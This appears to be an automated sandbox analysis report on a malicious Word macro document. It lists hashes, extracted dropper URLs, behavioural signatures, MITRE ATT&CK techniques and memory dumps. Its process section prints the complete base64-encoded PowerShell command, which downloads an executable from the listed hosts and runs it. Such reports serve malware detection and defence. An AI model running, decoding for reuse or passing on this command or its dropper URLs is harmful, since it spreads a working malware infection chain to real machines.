adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0

General

Target

adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0.doc
Size

146KB
MD5

cb47ec5aefc0948b7d9b913faf956205
SHA1

ae3a04ef0212f66894180aa705c1dab0d4f4f099
SHA256

adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0
SHA512

a098ade801394cc013aedae7b455aca52bfa04c1110adc31513afae263247b412903395f82dd52819a8cd23bdbe8e8c04470e8f0846e0efa5724b6faad73f60d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ksicardo.com/travel/ntKWzIyDl/

exe.dropper

http://iamzb.com/aspnet_client/system_web/GAAfRZMq/

exe.dropper

http://maloninc.com/apps/GbBZomQjS/

exe.dropper

http://kumakun.com/7jet/3b244672ze_btumnc0h-2178896/

exe.dropper

https://ingegneriadelweb.com/fantacalcio/8611ljoo_o4y023w-3754704371/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4124	4168	powershell.exe	29

Blocklisted process makes network request 9 IoCs

flow	pid	Process
11	4124	powershell.exe
13	4124	powershell.exe
17	4124	powershell.exe
24	4124	powershell.exe
25	4124	powershell.exe
27	4124	powershell.exe
29	4124	powershell.exe
31	4124	powershell.exe
32	4124	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4592	WINWORD.EXE
4592	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4592	WINWORD.EXE
4592	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 4276	4592	WINWORD.EXE	80
PID 4592 wrote to memory of 4276	4592	WINWORD.EXE	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc JABjADYANwA5ADQANQA3ADYAPQAnAE0ANwA4ADgANwAwADIAMwAnADsAJABhADYAMAA4ADkAMAA2ACAAPQAgACcANQAzADEAJwA7ACQAUAA2ADcAMAA1ADQANwA9ACcAaAAxADEAMwAyADAAMAAnADsAJABJADMANwA1ADQANAA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhADYAMAA4ADkAMAA2ACsAJwAuAGUAeABlACcAOwAkAEkAMAA5ADcAOQA0ADEAMAA9ACcAcAA3ADcAXwA4ADIAJwA7ACQAcQA3ADgANABfADQANAA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBgAGUAYABUAC4AdwBFAGIAYwBgAGwAYABJAGUATgB0ADsAJABsAF8ANwAzADIANgA9ACcAaAB0AHQAcABzADoALwAvAGsAcwBpAGMAYQByAGQAbwAuAGMAbwBtAC8AdAByAGEAdgBlAGwALwBuAHQASwBXAHoASQB5AEQAbAAvAEAAaAB0AHQAcAA6AC8ALwBpAGEAbQB6AGIALgBjAG8AbQAvAGEAcwBwAG4AZQB0AF8AYwBsAGkAZQBuAHQALwBzAHkAcwB0AGUAbQBfAHcAZQBiAC8ARwBBAEEAZgBSAFoATQBxAC8AQABoAHQAdABwADoALwAvAG0AYQBsAG8AbgBpAG4AYwAuAGMAbwBtAC8AYQBwAHAAcwAvAEcAYgBCAFoAbwBtAFEAagBTAC8AQABoAHQAdABwADoALwAvAGsAdQBtAGEAawB1AG4ALgBjAG8AbQAvADcAagBlAHQALwAzAGIAMgA0ADQANgA3ADIAegBlAF8AYgB0AHUAbQBuAGMAMABoAC0AMgAxADcAOAA4ADkANgAvAEAAaAB0AHQAcABzADoALwAvAGkAbgBnAGUAZwBuAGUAcgBpAGEAZABlAGwAdwBlAGIALgBjAG8AbQAvAGYAYQBuAHQAYQBjAGEAbABjAGkAbwAvADgANgAxADEAbABqAG8AbwBfAG8ANAB5ADAAMgAzAHcALQAzADcANQA0ADcAMAA0ADMANwAxAC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAHcAMABfADIAXwAzADMANAA9ACcAVQA2ADgAMQA5ADQANQAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBfADQANgA3ADEAMQA4ACAAaQBuACAAJABsAF8ANwAzADIANgApAHsAdAByAHkAewAkAHEANwA4ADQAXwA0ADQALgBEAG8AVwBuAEwAbwBBAGQARgBpAEwARQAoACQAVwBfADQANgA3ADEAMQA4ACwAIAAkAEkAMwA3ADUANAA0ADkAKQA7ACQAbgA4ADQAMAA3ADUANAA2AD0AJwBGADQAMgAwAF8AMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEkAMwA3ADUANAA0ADkAKQAuAEwAZQBuAEcAVABIACAALQBnAGUAIAAyADkANQAzADMAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQASQAzADcANQA0ADQAOQA7ACQAcgA3ADQANgAyADYAPQAnAGkAOQAwADMANwAyADMAJwA7AGIAcgBlAGEAawA7ACQAaAAxADUAOAA4ADgAPQAnAEQAMwA0ADcAOAAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAOAAzADUAMwAzADUAPQAnAGoAOQAyADAANgAyACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4124

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4124-142-0x00007FFAA7970000-0x00007FFAA8431000-memory.dmp

Filesize
10.8MB

Download
memory/4124-141-0x00007FFAA7970000-0x00007FFAA8431000-memory.dmp

Filesize
10.8MB

Download
memory/4124-140-0x00007FFAA7970000-0x00007FFAA8431000-memory.dmp

Filesize
10.8MB

Download
memory/4124-139-0x00000269A16F0000-0x00000269A1712000-memory.dmp

Filesize
136KB

Download
memory/4592-134-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-136-0x00007FFA90A10000-0x00007FFA90A20000-memory.dmp

Filesize
64KB

Download
memory/4592-135-0x00007FFA90A10000-0x00007FFA90A20000-memory.dmp

Filesize
64KB

Download
memory/4592-138-0x0000022EA43E0000-0x0000022EA43E4000-memory.dmp

Filesize
16KB

Download
memory/4592-130-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-133-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-132-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-131-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-144-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-145-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-146-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download
memory/4592-147-0x00007FFA93270000-0x00007FFA93280000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads